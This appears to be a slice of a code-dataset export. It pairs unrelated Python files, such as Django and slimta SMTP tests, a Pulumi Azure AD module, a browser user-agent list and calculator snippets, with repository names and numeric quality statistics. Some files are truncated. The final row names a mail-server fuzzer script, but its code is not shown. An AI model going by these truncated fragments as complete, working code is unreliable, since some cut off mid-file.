for round_... | 398.438095 | 36,535 | 0.472034 | 10,518 | 41,836 | 1.862141 | 0.135197 | 0.453691 | 0.557541 | 0.616563 | 0.384254 | 0.345757 | 0.310119 | 0.279639 | 0.259522 | 0.240069 | 0 | 0.550129 | 0.27952 | 41,836 | 105 | 36,536 | 398.438095 | 0.099662 | 0 | 0 | 0.242718 | 0 | 0 | 0.002492 | 0.000647 | 0 | 0 | 0 | 0 | 0 | 1 | 0.009709 | false | 0 | 0.067961 | 0 | 0.07767 | 0.116505 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
e68def69dd31a669805627bd88111d7c2038fa74 | 514 | py | Python | test/inputs/define_undef.py | zaxebo1/preprocess | 7cce7848d50af5b8f068127dd67f482568d9648d | [
"MIT"
] | 21 | 2015-12-21T22:35:22.000Z | 2022-02-18T03:07:55.000Z | test/inputs/define_undef.py | pombreda/preprocess | 7cce7848d50af5b8f068127dd67f482568d9648d | [
"MIT"
] | 5 | 2015-09-11T15:03:03.000Z | 2018-02-19T09:53:17.000Z | test/inputs/define_undef.py | pombreda/preprocess | 7cce7848d50af5b8f068127dd67f482568d9648d | [
"MIT"
] | 10 | 2015-09-14T08:16:54.000Z | 2022-02-18T03:08:09.000Z | #!python
# #define FOO_A
# #define FOO_B 0
# #define FOO_C 1
if __name__ == '__main__':
# #if FOO_A
print "a"
# #endif
# #if FOO_B
print "b"
# #endif
# #if defined("FOO_B")
print "b defined"
# #endif
# #if FOO_C
print "c"
# #endif
# #if defined("FOO_D")
print "d defined"
# #endif
# #undef FOO_B
#... | 12.85 | 26 | 0.577821 | 83 | 514 | 3.313253 | 0.192771 | 0.178182 | 0.203636 | 0.247273 | 0.723636 | 0.723636 | 0.723636 | 0.610909 | 0.610909 | 0.610909 | 0 | 0.005208 | 0.252918 | 514 | 39 | 27 | 13.179487 | 0.710938 | 0.492218 | 0 | 0.8 | 0 | 0 | 0.230047 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.9 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 8 |
e6b401f62c6d57634b0c0c55e579a2c276b23a1b | 151,935 | py | Python | utils/xfg_util/rgx_utils.py | fioushen/ParallelismPrediction | 8324c0d7d99b960db968fa3c2382c27548643c81 | [
"MIT"
] | null | null | null | utils/xfg_util/rgx_utils.py | fioushen/ParallelismPrediction | 8324c0d7d99b960db968fa3c2382c27548643c81 | [
"MIT"
] | null | null | null | utils/xfg_util/rgx_utils.py | fioushen/ParallelismPrediction | 8324c0d7d99b960db968fa3c2382c27548643c81 | [
"MIT"
] | 1 | 2020-07-03T10:25:42.000Z | 2020-07-03T10:25:42.000Z |
import re
import sys
import pickle
import datetime
max_bytes = 2**31 - 1
def onehot(n, dim):
one_hot = [0] * dim
one_hot[n] = 1
return one_hot
def safe_pickle(data, file):
"""
Pickle big files safely, processing them in chunks
:param data: data to be pickled
:param file: file to pickle... | 79.505495 | 156 | 0.523566 | 19,348 | 151,935 | 4.002222 | 0.025636 | 0.049874 | 0.132162 | 0.086602 | 0.905237 | 0.896223 | 0.876322 | 0.833912 | 0.82588 | 0.822018 | 0 | 0.029515 | 0.196775 | 151,935 | 1,910 | 157 | 79.54712 | 0.605 | 0.020858 | 0 | 0.109348 | 0 | 0.016431 | 0.639432 | 0.013325 | 0.000567 | 0 | 0 | 0.000524 | 0.004533 | 1 | 0.005099 | false | 0 | 0.002266 | 0 | 0.011898 | 0.000567 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e6c2f12ec39af1443ccbdf0435b30b7c9f65f834 | 107 | py | Python | Basic/15_python_math/math_konstanta.py | sekilas13/Python | 8b2c91cf0c90ebaba7a22e97bd69dae7a6564714 | [
"MIT"
] | 79 | 2021-09-12T02:31:14.000Z | 2022-03-29T08:46:53.000Z | Basic/15_python_math/math_konstanta.py | sekilas13/Python | 8b2c91cf0c90ebaba7a22e97bd69dae7a6564714 | [
"MIT"
] | 121 | 2021-09-10T02:38:47.000Z | 2022-03-30T03:30:35.000Z | Basic/15_python_math/math_konstanta.py | sekilas13/Python | 8b2c91cf0c90ebaba7a22e97bd69dae7a6564714 | [
"MIT"
] | 76 | 2021-09-10T02:27:28.000Z | 2022-03-28T10:24:12.000Z | import math
print(math.pi)
print(math.e)
print(math.tau)
print(math.inf)
print(-math.inf)
print(math.nan)
| 11.888889 | 16 | 0.738318 | 20 | 107 | 3.95 | 0.4 | 0.683544 | 0.303797 | 0.43038 | 0.417722 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084112 | 107 | 8 | 17 | 13.375 | 0.806122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.142857 | 0 | 0.142857 | 0.857143 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
e6f9cd1efc6f985b045e9ee3c14571c3c8ae2506 | 6,792 | py | Python | tests/filters/test_datetime_filters.py | Bilonan/django-binder | d2d9b504a92029a0afc616be81a08f0deddd5b64 | [
"MIT"
] | 14 | 2016-08-15T13:08:55.000Z | 2021-11-17T11:43:20.000Z | tests/filters/test_datetime_filters.py | Bilonan/django-binder | d2d9b504a92029a0afc616be81a08f0deddd5b64 | [
"MIT"
] | 141 | 2016-08-14T15:36:35.000Z | 2022-02-17T08:53:52.000Z | tests/filters/test_datetime_filters.py | Bilonan/django-binder | d2d9b504a92029a0afc616be81a08f0deddd5b64 | [
"MIT"
] | 18 | 2016-10-01T21:30:22.000Z | 2022-03-28T10:51:41.000Z | from django.test import TestCase, Client
from binder.json import jsonloads
from django.contrib.auth.models import User
from ..testapp.models import Caretaker
class DateTimeFiltersTest(TestCase):
def setUp(self):
super().setUp()
u = User(username='testuser', is_active=True, is_superuser=True)
u.set_password('te... | 37.318681 | 143 | 0.703916 | 952 | 6,792 | 4.917017 | 0.168067 | 0.1442 | 0.080752 | 0.094211 | 0.813074 | 0.777612 | 0.751335 | 0.728904 | 0.722709 | 0.684469 | 0 | 0.070378 | 0.108804 | 6,792 | 181 | 144 | 37.524862 | 0.702957 | 0.077444 | 0 | 0.554545 | 0 | 0.009091 | 0.22976 | 0.03728 | 0 | 0 | 0 | 0 | 0.436364 | 1 | 0.081818 | false | 0.018182 | 0.036364 | 0 | 0.127273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e6fc3609aaf1967d30459104f70f9cdc36f01204 | 14,561 | py | Python | core/controllers/learner_playlist_test.py | oswalgopal/oppia | 7513e8eca5adc278974ad266b0ea3f59a646983d | [
"Apache-2.0"
] | 2 | 2021-04-08T01:06:08.000Z | 2021-06-02T08:20:13.000Z | core/controllers/learner_playlist_test.py | gitter-badger/oppia | 7d8e659264582d7ce74bc6c139e597b82bca0e04 | [
"Apache-2.0"
] | 35 | 2019-02-23T20:31:21.000Z | 2019-08-19T12:32:13.000Z | core/controllers/learner_playlist_test.py | gitter-badger/oppia | 7d8e659264582d7ce74bc6c139e597b82bca0e04 | [
"Apache-2.0"
] | 1 | 2021-01-28T05:20:56.000Z | 2021-01-28T05:20:56.000Z | # Copyright 2017 The Oppia Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... | 41.366477 | 113 | 0.635533 | 1,839 | 14,561 | 4.659598 | 0.100598 | 0.136539 | 0.029408 | 0.04668 | 0.854475 | 0.819816 | 0.796359 | 0.770802 | 0.724589 | 0.724472 | 0 | 0.011124 | 0.28384 | 14,561 | 351 | 114 | 41.48433 | 0.810606 | 0.176087 | 0 | 0.715385 | 0 | 0 | 0.047607 | 0.015757 | 0 | 0 | 0 | 0 | 0.092308 | 1 | 0.019231 | false | 0 | 0.030769 | 0 | 0.123077 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
fc0a8fb65ba51e4457fbb5ca3688e346a072798b | 336 | py | Python | src/stk/ea/__init__.py | andrewtarzia/stk | 1ac2ecbb5c9940fe49ce04cbf5603fd7538c475a | [
"MIT"
] | 21 | 2018-04-12T16:25:24.000Z | 2022-02-14T23:05:43.000Z | src/stk/ea/__init__.py | JelfsMaterialsGroup/stk | 0d3e1b0207aa6fa4d4d5ee8dfe3a29561abb08a2 | [
"MIT"
] | 8 | 2019-03-19T12:36:36.000Z | 2020-11-11T12:46:00.000Z | src/stk/ea/__init__.py | supramolecular-toolkit/stk | 0d3e1b0207aa6fa4d4d5ee8dfe3a29561abb08a2 | [
"MIT"
] | 5 | 2018-08-07T13:00:16.000Z | 2021-11-01T00:55:10.000Z | from .crossover import * # noqa
from .fitness_calculators import * # noqa
from .mutation import * # noqa
from .fitness_normalizers import * # noqa
from .plotters import * # noqa
from .selection import * # noqa
from .generation import * # noqa
from .evolutionary_algorithm import * # noqa
from .molecule_records i... | 33.6 | 45 | 0.732143 | 40 | 336 | 6.05 | 0.375 | 0.371901 | 0.46281 | 0.173554 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1875 | 336 | 9 | 46 | 37.333333 | 0.886447 | 0.130952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
fc3c1ffac10dea924a7e5536f41609b58815f627 | 175 | py | Python | swtoolkit/api/interfaces/idrawingdoc.py | szcyd-chian/soliwordsapi | 87d496f82f40febee3bdf4de878064a98a82c005 | [
"MIT"
] | 16 | 2020-11-03T14:40:30.000Z | 2022-03-02T15:38:40.000Z | swtoolkit/api/interfaces/idrawingdoc.py | szcyd-chian/soliwordsapi | 87d496f82f40febee3bdf4de878064a98a82c005 | [
"MIT"
] | 2 | 2021-03-02T12:10:24.000Z | 2021-11-19T21:34:47.000Z | swtoolkit/api/interfaces/idrawingdoc.py | szcyd-chian/soliwordsapi | 87d496f82f40febee3bdf4de878064a98a82c005 | [
"MIT"
] | 8 | 2020-11-11T12:25:58.000Z | 2022-03-28T06:06:44.000Z | class IDrawingDoc:
def __init__(self, system_object):
self.system_object = system_object
@property
def _instance(self):
return self.system_object
| 21.875 | 42 | 0.691429 | 20 | 175 | 5.6 | 0.5 | 0.428571 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.24 | 175 | 7 | 43 | 25 | 0.842105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.166667 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
fc7a8ae8697305f8c17541dd36d25921658dd5ad | 23,542 | py | Python | src/ralph_assets/migrations/0005_auto__add_field_asset_force_deprecation.py | xliiv/ralph_assets | 73e5e46db380c9a8dafb9ca1bd5abe47d5733385 | [
"Apache-2.0"
] | null | null | null | src/ralph_assets/migrations/0005_auto__add_field_asset_force_deprecation.py | xliiv/ralph_assets | 73e5e46db380c9a8dafb9ca1bd5abe47d5733385 | [
"Apache-2.0"
] | null | null | null | src/ralph_assets/migrations/0005_auto__add_field_asset_force_deprecation.py | xliiv/ralph_assets | 73e5e46db380c9a8dafb9ca1bd5abe47d5733385 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Asset.force_deprecation'
db.add_column('ralph_assets_asset', 'force_deprecation',
... | 94.927419 | 224 | 0.574038 | 2,413 | 23,542 | 5.474927 | 0.089101 | 0.104156 | 0.181213 | 0.258875 | 0.833699 | 0.803648 | 0.751798 | 0.702066 | 0.660889 | 0.577095 | 0 | 0.007302 | 0.173902 | 23,542 | 247 | 225 | 95.311741 | 0.671997 | 0.00429 | 0 | 0.34874 | 0 | 0 | 0.608525 | 0.348765 | 0 | 0 | 0 | 0 | 0 | 1 | 0.008403 | false | 0.004202 | 0.016807 | 0 | 0.037815 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
fc9aa46dc79d398e8f8e9180170d36d6c02742b8 | 6,139 | py | Python | feapder/network/user_agent.py | jsntzxh/feapder | dd192393ae7ef63a00e7dec09900901f846fb67d | [
"MIT"
] | 1 | 2021-07-13T02:07:10.000Z | 2021-07-13T02:07:10.000Z | feapder/network/user_agent.py | jsntzxh/feapder | dd192393ae7ef63a00e7dec09900901f846fb67d | [
"MIT"
] | null | null | null | feapder/network/user_agent.py | jsntzxh/feapder | dd192393ae7ef63a00e7dec09900901f846fb67d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on 2016-12-28 17:55
---------
@summary:
---------
@author: Boris
@email: boris_liu@foxmail.com
"""
import random
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 1... | 87.7 | 148 | 0.697671 | 1,167 | 6,139 | 3.648672 | 0.120823 | 0.106858 | 0.107797 | 0.234852 | 0.895021 | 0.895021 | 0.879051 | 0.867543 | 0.856505 | 0.790512 | 0 | 0.238702 | 0.131292 | 6,139 | 69 | 149 | 88.971014 | 0.559722 | 0.020362 | 0 | 0 | 0 | 0.910714 | 0.917582 | 0.003497 | 0 | 0 | 0 | 0 | 0 | 1 | 0.017857 | false | 0 | 0.017857 | 0.017857 | 0.053571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
5d77d3b0b614b447a3c3c087bacc901968beb582 | 114 | py | Python | calc.py | hmiyake/my-test-repo-old | 3c6b365861e69a0acd202ee9f520311a98810059 | [
"MIT"
] | null | null | null | calc.py | hmiyake/my-test-repo-old | 3c6b365861e69a0acd202ee9f520311a98810059 | [
"MIT"
] | 1 | 2021-08-04T02:33:32.000Z | 2021-08-04T02:33:51.000Z | calc.py | hmiyake/my-test-repo-old | 3c6b365861e69a0acd202ee9f520311a98810059 | [
"MIT"
] | null | null | null | #!/bin/env python
def calc_wa(val1, val2):
return val1 + val2
def calc_wari(val1, val2):
return val1 / val2
| 14.25 | 26 | 0.684211 | 19 | 114 | 4 | 0.526316 | 0.421053 | 0.368421 | 0.473684 | 0.578947 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 0.192982 | 114 | 7 | 27 | 16.285714 | 0.73913 | 0.140351 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 8 |
5d8a19a933e395c4b26816e27c4fefc1e9eef227 | 3,956 | py | Python | tests/functional/parser/test_s3.py | Sordie/aws-lambda-powertools-python | 12c512b78b8830bf2ed09e35d640df14afacfc1a | [
"Apache-2.0"
] | 1 | 2021-02-19T14:02:56.000Z | 2021-02-19T14:02:56.000Z | tests/functional/parser/test_s3.py | Sordie/aws-lambda-powertools-python | 12c512b78b8830bf2ed09e35d640df14afacfc1a | [
"Apache-2.0"
] | null | null | null | tests/functional/parser/test_s3.py | Sordie/aws-lambda-powertools-python | 12c512b78b8830bf2ed09e35d640df14afacfc1a | [
"Apache-2.0"
] | null | null | null | from aws_lambda_powertools.utilities.parser import event_parser
from aws_lambda_powertools.utilities.parser.models import S3Model, S3RecordModel
from aws_lambda_powertools.utilities.typing import LambdaContext
from tests.functional.parser.utils import load_event
@event_parser(model=S3Model)
def handle_s3(event: S3Mod... | 43.955556 | 105 | 0.752528 | 421 | 3,956 | 6.935867 | 0.244656 | 0.061644 | 0.047945 | 0.039726 | 0.861301 | 0.831507 | 0.784932 | 0.761644 | 0.761644 | 0.761644 | 0 | 0.113224 | 0.149393 | 3,956 | 89 | 106 | 44.449438 | 0.754532 | 0 | 0 | 0.740741 | 0 | 0 | 0.203994 | 0.141557 | 0 | 0 | 0 | 0 | 0.54321 | 1 | 0.049383 | false | 0 | 0.049383 | 0 | 0.098765 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5d912ba580ad2f966b87eb1035da93bc87a2fbf7 | 143 | py | Python | __init__.py | Danielmaj/NLP_hw4 | 7762cbb4e2db131d97351a5f5cc066f48c9f02bb | [
"MIT"
] | null | null | null | __init__.py | Danielmaj/NLP_hw4 | 7762cbb4e2db131d97351a5f5cc066f48c9f02bb | [
"MIT"
] | null | null | null | __init__.py | Danielmaj/NLP_hw4 | 7762cbb4e2db131d97351a5f5cc066f48c9f02bb | [
"MIT"
] | null | null | null | # pylint: disable=wildcard-import
from my_library.dataset_readers import *
from my_library.models import *
from my_library.predictors import *
| 28.6 | 40 | 0.825175 | 20 | 143 | 5.7 | 0.55 | 0.263158 | 0.315789 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104895 | 143 | 4 | 41 | 35.75 | 0.890625 | 0.216783 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
5dd40b49e84477e27f1b1f0e593d072f76d11820 | 6,671 | py | Python | laskarit/viikko2/unicafe/src/tests/kassapaate_test.py | miikara/landlord | 1f9a2ae2485adb8837a9b1d0668cc0708aec4d5f | [
"MIT"
] | null | null | null | laskarit/viikko2/unicafe/src/tests/kassapaate_test.py | miikara/landlord | 1f9a2ae2485adb8837a9b1d0668cc0708aec4d5f | [
"MIT"
] | null | null | null | laskarit/viikko2/unicafe/src/tests/kassapaate_test.py | miikara/landlord | 1f9a2ae2485adb8837a9b1d0668cc0708aec4d5f | [
"MIT"
] | null | null | null | import unittest
from kassapaate import Kassapaate
from maksukortti import Maksukortti
class TestKassapaate(unittest.TestCase):
def setUp(self):
self.kassapaate = Kassapaate()
self.maksukortti = Maksukortti(1000)
def test_luodun_paatteen_saldo_oikein(self):
balance = self.kassapaate.kas... | 43.03871 | 88 | 0.76945 | 781 | 6,671 | 6.185659 | 0.101152 | 0.139102 | 0.091492 | 0.060857 | 0.899193 | 0.895674 | 0.803974 | 0.773753 | 0.710619 | 0.621817 | 0 | 0.02707 | 0.158297 | 6,671 | 154 | 89 | 43.318182 | 0.833304 | 0.007045 | 0 | 0.5 | 0 | 0 | 0.009674 | 0 | 0 | 0 | 0 | 0 | 0.276786 | 1 | 0.285714 | false | 0 | 0.026786 | 0 | 0.321429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b908798999c7329290d0358d6b38412fb7991b04 | 9,720 | py | Python | tests/test_formatter.py | james-ennis/sphinx-click | b5e5f89808b11fc2c0bcec180f0c9bf96f04f7e0 | [
"MIT"
] | null | null | null | tests/test_formatter.py | james-ennis/sphinx-click | b5e5f89808b11fc2c0bcec180f0c9bf96f04f7e0 | [
"MIT"
] | null | null | null | tests/test_formatter.py | james-ennis/sphinx-click | b5e5f89808b11fc2c0bcec180f0c9bf96f04f7e0 | [
"MIT"
] | null | null | null | import textwrap
import unittest
import click
from sphinx_click import ext
class CommandTestCase(unittest.TestCase):
def test_no_parameters(self):
"""Validate a `click.Command` with no parameters.
This exercises the code paths for a command with *no* arguments, *no*
options and *no* envir... | 24.360902 | 85 | 0.535185 | 1,002 | 9,720 | 5.101796 | 0.135729 | 0.03971 | 0.062989 | 0.044601 | 0.816901 | 0.804382 | 0.765454 | 0.73572 | 0.720853 | 0.692293 | 0 | 0.000779 | 0.339609 | 9,720 | 398 | 86 | 24.422111 | 0.795607 | 0.160082 | 0 | 0.776256 | 0 | 0 | 0.398535 | 0 | 0 | 0 | 0 | 0 | 0.050228 | 1 | 0.127854 | false | 0.03653 | 0.018265 | 0.009132 | 0.191781 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f8d8188be5011283a6e1b6267c00ec79002894e2 | 22,492 | py | Python | test/test_slimta_relay_smtp_client.py | fisele/compare-slimta | 4a59bd8e0d0b01551ed6d045b7e008846c8b4a80 | [
"MIT"
] | null | null | null | test/test_slimta_relay_smtp_client.py | fisele/compare-slimta | 4a59bd8e0d0b01551ed6d045b7e008846c8b4a80 | [
"MIT"
] | null | null | null | test/test_slimta_relay_smtp_client.py | fisele/compare-slimta | 4a59bd8e0d0b01551ed6d045b7e008846c8b4a80 | [
"MIT"
] | null | null | null | from email.encoders import encode_base64
import unittest
from mox3.mox import MoxTestBase, IsA
from gevent import Timeout
from gevent.socket import socket, error as socket_error
from gevent.ssl import SSLContext
from gevent.event import AsyncResult
from slimta.util import pycompat
from slimta.util.deque import Blocki... | 48.266094 | 155 | 0.644896 | 3,195 | 22,492 | 4.455086 | 0.058842 | 0.025151 | 0.056906 | 0.080792 | 0.864971 | 0.832022 | 0.824505 | 0.822608 | 0.818744 | 0.810524 | 0 | 0.023098 | 0.193491 | 22,492 | 465 | 156 | 48.369892 | 0.761577 | 0.001467 | 0 | 0.739437 | 0 | 0.046948 | 0.21815 | 0.069733 | 0 | 0 | 0 | 0 | 0.053991 | 1 | 0.077465 | false | 0.007042 | 0.032864 | 0.002347 | 0.115023 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5d32e48e14fa20636f1e2eeb0021bf0fd948cb4a | 48,330 | py | Python | python/abess/linear.py | brtang63/abess | 7bf2f9d9ec7a1247a2508f2768f4308feb81decd | [
"Intel"
] | 5 | 2021-08-01T06:33:48.000Z | 2021-12-10T07:40:17.000Z | python/abess/linear.py | Weiniily/abess | f0e822455ab5223a34fb643b6aff69f22aa818cd | [
"Intel"
] | null | null | null | python/abess/linear.py | Weiniily/abess | f0e822455ab5223a34fb643b6aff69f22aa818cd | [
"Intel"
] | 1 | 2021-03-06T08:20:26.000Z | 2021-03-06T08:20:26.000Z |
from abess.metrics import concordance_index_censored
from .bess_base import bess_base
import numpy as np
import types
def fix_docs(cls):
# inherit the document from base class
index = cls.__doc__.find("Examples\n --------\n")
if(index != -1):
cls.__doc__ = cls.__doc__[:index] + \
... | 41.4494 | 210 | 0.597289 | 6,776 | 48,330 | 4.021842 | 0.040289 | 0.040511 | 0.02664 | 0.011008 | 0.926538 | 0.908374 | 0.905438 | 0.88199 | 0.881403 | 0.869955 | 0 | 0.025133 | 0.243431 | 48,330 | 1,165 | 211 | 41.484979 | 0.72017 | 0.703931 | 0 | 0.728507 | 0 | 0 | 0.011811 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095023 | false | 0 | 0.072398 | 0 | 0.262443 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5d3ee88eac3cdcac39ccdf8e39bbb4f3dbd4f5b3 | 84,489 | py | Python | sdk/python/pulumi_azuread/application.py | AaronFriel/pulumi-azuread | d3161e0efd9bb7e67e26c0700d1b8e04e3c0184b | [
"ECL-2.0",
"Apache-2.0"
] | 11 | 2019-09-17T20:41:13.000Z | 2021-12-28T02:06:40.000Z | sdk/python/pulumi_azuread/application.py | AaronFriel/pulumi-azuread | d3161e0efd9bb7e67e26c0700d1b8e04e3c0184b | [
"ECL-2.0",
"Apache-2.0"
] | 144 | 2019-05-08T20:53:11.000Z | 2022-03-31T15:20:46.000Z | sdk/python/pulumi_azuread/application.py | AaronFriel/pulumi-azuread | d3161e0efd9bb7e67e26c0700d1b8e04e3c0184b | [
"ECL-2.0",
"Apache-2.0"
] | 5 | 2019-10-05T10:34:37.000Z | 2022-01-18T18:43:16.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import ... | 58.672917 | 317 | 0.700245 | 10,205 | 84,489 | 5.584713 | 0.037139 | 0.088977 | 0.080345 | 0.039918 | 0.960012 | 0.948063 | 0.939974 | 0.932131 | 0.926867 | 0.906724 | 0 | 0.002489 | 0.201032 | 84,489 | 1,439 | 318 | 58.71369 | 0.841787 | 0.373623 | 0 | 0.843429 | 1 | 0 | 0.152001 | 0.089843 | 0 | 0 | 0 | 0 | 0 | 1 | 0.169143 | false | 0.001143 | 0.008 | 0 | 0.28 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
53930622e594b5c73e5c4b94b97cf6a64d9763e5 | 3,087 | py | Python | application/scripts/3Slmailfuzzer.py | cys3c/viper-shell | e05a07362b7d1e6d73c302a24d2506846e43502c | [
"PSF-2.0",
"BSD-2-Clause"
